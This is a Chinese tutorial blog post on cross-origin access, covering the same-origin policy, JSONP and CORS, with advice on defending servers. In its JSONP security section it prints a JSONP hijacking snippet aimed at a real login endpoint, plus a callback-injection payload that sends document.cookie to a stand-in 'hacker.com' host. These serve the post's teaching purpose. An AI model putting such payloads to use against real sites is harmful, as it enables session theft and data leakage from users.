一篇聊透跨域

Posted by 咖啡不苦 on 2020-06-09

前几天面试一小哥哥,说到跨域问题,说的语焉不详的。所以将相关知识点整理了一下,成文如下:

什么是跨域问题

通常大家所说的跨域问题,就是脚本要访问一个别的域名的数据时,发现被浏览器阻止了,访问不了,然后想各种办法去实现这个跨域名的数据读取,就被笼统的称作跨域问题;但其实,跨域问题不是跨域,而是跨源(cross-origin)问题。现代浏览器里有一个叫做同源策略的机制,正是这个机制阻止了资源的跨域访问。那么什么是同源策略,以及为什么要有这个策略呢?

同源策略(Same Origin Policy)

简单的说,同源策略是浏览器的一种安全机制。他规定从某一个源(服务端)加载(到浏览器端)的页面(脚本)只能访问(向xxx发请求)与他“同源”的页面的资源。那“同源”里的又是什么意思呢?同源是指两个URL里的:协议(protocol),端口(port),域名(hosts)完全相同,也就是URL的Scheme一致。例如:

http://abc.com  和 https://abc.com 不同源,协议不同
http://abc.com 和 http://abc.com:8080 不同源,端口不同
http://a.abc.com 和 http://b.abc.com 也不同源,域名不同

也就是说,上面这些页面之间都不能发送请求。你可能会感到奇怪,“我的网页的静态资源都放在cdn域名里,比如公共js,然后加载到页面执行,一点问题都没有啊”,这是不是违法了同源策略?嗯,所以同源策略里规定的“访问”是一个相对模糊的概念。一般来说:内嵌一个跨源的资源是被允许的,但是读取一个跨源的资源是不允许的。比如,你可以用<iframe src=''/>嵌入一个跨源的页面(当然,被嵌入的页面的服务器端可以设置X-Frame-Options响应头来控制自己允不允许被iframe嵌入,可以在一定程度上防止黑客制作钓鱼网站),但不能用js获得这个被嵌入的页面里的dom对象引用。

更具体的来说,下面列出来哪些动作被允许,哪些动作不被允许。

1、**iframe**,  一般来说,用src跨源嵌入是可以的,但不让读取里面的内容

2、**css**,可以用link标签和@import来嵌入,但是要正确的设置Content-Type

3、**表单**,表单可以通过action属性提交到一个跨源的目的地页面,也就是说,跨源写是允许的

4、**图片**,图片可以用img标签嵌入,但是如果从一个跨源的地方读一张图片然后画到canvas上,则不允许(这相当于读了图片的内容)

5、**多媒体内容**,同理,视频和音频这些内容是可以通过video和audio标签内嵌到页面上来的。

6、**脚本**,脚本当然可以用script标签嵌入,但不能访问一些特定的api,比如通过XMLHttpRequest或Fetch发送跨域资源请求。

为什么要有同源策略?

总而言之,是搞了很多的限制。那为什么要搞这么多的限制呢,怪麻烦的。刚提到,同源策略是一个重要的安全策略。也就是说,是浏览器为了web安全而不得不搞出来的一种限制。想象一下,如果没有这个限制。一个源attacker.com的脚本可以读取xxx.bank.com页面的信息和往xxx.bank.com发请求的话。attacher就可以用脚本读取你在bank.com里的账号和密码,发起转账,等等都可以了。所以,同源策略,保护的是被跨源访问的域。这点是很多人没有彻底理解跨域问题的根源。

但实际就有跨源资源访问的需求怎么办?

同源策略安全是安全,但他是一刀切的方案,实际情况是真的有很多时候需要跨源访问资源:现代网站很多用域名做了垂直拆分,甚至很多本来就是公共服务,就希望被所有人访问到,比如天气预报数据等等,都被这个同源策略所阻止了。在之前,比较著名和流行的方式就是采用JSONP技术来实现跨源访问。

JSONP(JSON with padding)技术

这是一种被普遍使用的,绕过浏览器同源策略的数据共享方法。他的基本思想是,在网页里插入一个<script />元素,用script标签的src属性加载一个跨源脚本(这是被允许的),这个脚本的服务端,将要共享的数据以JSON的格式放到一个指定名字的回调函数的入参里(with padding)传回来。页面的回调函数实现就拿到跨源的共享数据了。

/**
* 工具函数,往页面里插入一个指定src的script标签,以发起请求
* 其实也可以发起ajax请,很多三方库(比如jQuery)都有封装
*/
function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  // 调用工具函数,发起请求,并告诉服务端,回调函数名字叫foo
  addScriptTag('http://example.com/ip?callback=foo');
  // 服务端返回JSON格式的数据,并 放在一个叫 foo的函数调用的入参里,如下:
  // foo({"ip": "8.8.8.8"});
}

/**
* 回调函数,服务端返回的内容,会回调这个函数,并且把数据作为参数传入,这样就实现了跨源数据共享的目的
*/
function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

从原理上来看,JSONP其实是一种Hacking技术,用一种巧妙的方式绕开了同源策略的限制,虽然能实现跨源访问的目的,但其实也会带来一些安全问题。

1、CSRF( Cross-site request forgery 跨站请求伪造)攻击

如果通过JSONP获取的数据是敏感数据(比如用户登录之后才能读取到的数据),攻击者可以构造一个这样的请求,藏在某个页面里,如果用户在登录的情况下访问了那个页面(攻击者可以引诱被攻击者访问),就会在不知情的情况下将自己的数据泄露。比如

<script>
function wooyun(v){
    alert(v.username);
  	// 这里可以干坏事,比如将用户的用户名,邮箱等发送到指定的地址, 
    // 把这坨代码放注入到360的某个子域的页面里,就等着有人上钩了
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

也就是说,攻击者在被攻击者不知情的情况下向某个JSONP的服务端发送了请求(如果这个请求是转账?^_^)。所以要防止这种攻击,服务端除了要验证用户的登录状态,还要验证请求的Refer,增加token校验等等。

2、callback函数名可自定义,导致注入风险

因为,callback参数值会作为函数名传个服务器并传回来,在浏览器端执行,如果这个参数不是一个正常的函数名,而是一个表达式,甚至是一段脚本呢?就会有问题了。比如

script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>' 

攻击者还可以构造一些更加精巧的callback内容,实现RFD攻击。

要防止这种攻击,第一步要做的就是对callback参数的内容做转义,第二是要对返回的内容设置conten-type=application/json (不能被执行)而不是application/javascript

想要更安全优雅的实现跨源资源共享该怎么办呢?其实早在2014年的时候w3c就通过了跨源资源共享(Cross-Origin Resource Sharing (CORS)) 的标准。

CORS(Cross-Origin Resource Sharing)跨源资源共享 技术

上文说到,浏览器是为了保护被跨源访问的服务不被别人随意访问才不得不设置了同源策略,并且这种一刀切的方式带来了许多不便。那如果某个源的服务器明确告诉浏览器说,我这个服务是允许别人来访问的,你不用使用同源策略来禁止别人访问我,那不就没问题了。这就是cors机制的基本原理。

最基本的实现CORS和把大象装冰箱一样,总共分三步:

1、浏览器发现是一个跨源请求,就在请求头上加一个字段Origin;包括协议,域名,端口。告诉被请求的服务端说,我是谁。

2、服务器收到请求,应该检查这个Origin是不是被允许的访问来源,如果是被允许的,则在响应头上加上Access-Control-Allow-Origin,这个值可以是一个具体的origin,也可是是*表示允许所有源访问。

3、浏览器收到服务器的响应,检查是否有Access-Control-Allow-Origin头,如果有,才能把具体的响应体返回给请求发送者,否则报错,告诉请求发起方access blocked by CORS policy

其实,我们发现,CORS虽然阻止了将响应返回个请求发送者,但实际上请求是有真的发送到服务端的!所以当我们在做服务端接口的时候,一定要注意先要检查请求的Origin,再决定是否做相应的动作。以免形成事实上的攻击。这个在nginx配置上一定要注意,不能无脑的反射Origin。

复杂请求的先导请求

我觉得也是出于这个原因,CORS把请求分成普通请求和复杂请求(complex request),对于复杂请求(万一请求对服务端有伤害的请求?)先用一个先导请求(preflight request)去问下服务端是否接受这类请求,得到确认后再发送具体请求。先导请求是浏览器自动发送的,并且服务端可以设置缓存建议。

用cors发送cookie?

除了Allow Origin这种源的白名单机制,cors还可以通过cookie实现对用户的身份认证,在请求头上加上 credentials: 'include' 可以让请求带上cookie发送, 为了安全考虑,cors规定如果用了,则Access-Control-Allow-Origin必须指定具体的值,不能为*